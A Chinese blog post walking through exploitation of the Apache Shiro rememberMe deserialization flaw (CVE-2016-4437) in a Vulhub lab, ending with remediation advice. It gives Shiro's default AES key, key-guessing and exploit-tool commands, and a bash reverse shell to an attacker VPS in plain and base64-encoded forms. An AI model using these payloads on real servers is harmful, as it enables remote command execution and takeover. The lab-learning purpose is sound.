漏洞分析

  1. Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
  2. Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化-->AES加密-->Base64编码
  3. 在识别身份的时候,站点需要对Cookie里的remeberMe字段解密,根据解密的顺序,我们可以得出解密的顺序
    0x1:获取cookie中的remeberME值

0x2:base64解密
0x3:AES解密
0X4:反序列化

  1. 利用Shiro漏洞最重要的就是要知道AES加密密钥,大部分使用apache shiro的站点,由于管理员的疏忽都会忘记更改默认的AES加密密钥,这样可以让我们使用默认的密钥构造Payload进行攻击。

影响版本

Apache Shiro版本<=1.2.4

个人感觉该漏洞与版本无关,只要知道了Shiro 加密的编码,就可以利用该漏洞。

Shiro特征:返回包中cookie处有remeberME =deleteME或者remeberME字段

漏洞利用

  • 使用Vulhb自带的靶场环境
进入漏洞目录:cd vulhub-master/shiro/CVE-2016-4437/
root权限下启动靶场:docker-compose up -d
root权限下关闭靶场:docker-compose down
靶场Web界面URL:http://靶场IP:8080/
  • 攻击环境搭建
1.公网VPS
2.反弹shell语句bash在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
2.Shiro_exploit:获取shiro的AES加密的key值,反序列化利用工具
Shiro_exploit下载地址:https://github.com/insightglacier/Shiro_exploit
  • 访问Vulhb打开的站点

1.png

  • 随便输入一个账号密码,使用Burp进行抓包,可以看到包中存在的cookie处存在rememberMe=deleteMe,这说明该站点是由shiro来进行登录认证的,可能存在shiro550反序列化漏洞

2.png

  • 使用Shiro_exploit来猜测站点使用的key。
 python .\shiro_exploit.py -u http://192.168.30.128:8080/doLogin
 运行时Py有可能会报:ModuleNotFoundError: No module named 'Crypto'
 可以尝试使用下面命令解决。
  python -m pip uninstall crypto pycryptodome
  python -m pip install pycryptodome

3.png

  • 使用nc(VPS)命令监听本地端口

4.png

  • 构造反弹shell语句,使用Java Runtime 配合 bash 编码
原pyload:bash -i >& /dev/tcp/VPS/port(nc命令开放的端口) 0>&1
编码后:bash -{echo,YmFzaCAtaSA+JiAvESV2L3RjcC8xMjIuNTEuMTgzLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  • 使用shiro_exploit脚本进行反弹shell
python shiro_exploit.py -t 3 -u http://192.168.30.128:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjIuNTEuMTgzLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

更多使用方法请查看:https://github.com/insightglacier/Shiro_exploit

注:脚本中默认是使用key:kPH+bIxk5D2deZiIxcaaaA==进行加密的,如果是别的key,可以对脚本第205行更改。

4.png

  • 查看vpn监听端口,发现已经成功进行反弹了。

5.png

修复方案

1.将Apache shiro升级到最新版本

2.更改默认的AES加密值

点击下载:

最后修改:2021 年 10 月 07 日 07 : 40 PM
如果觉得我的文章对你有用,请随意赞赏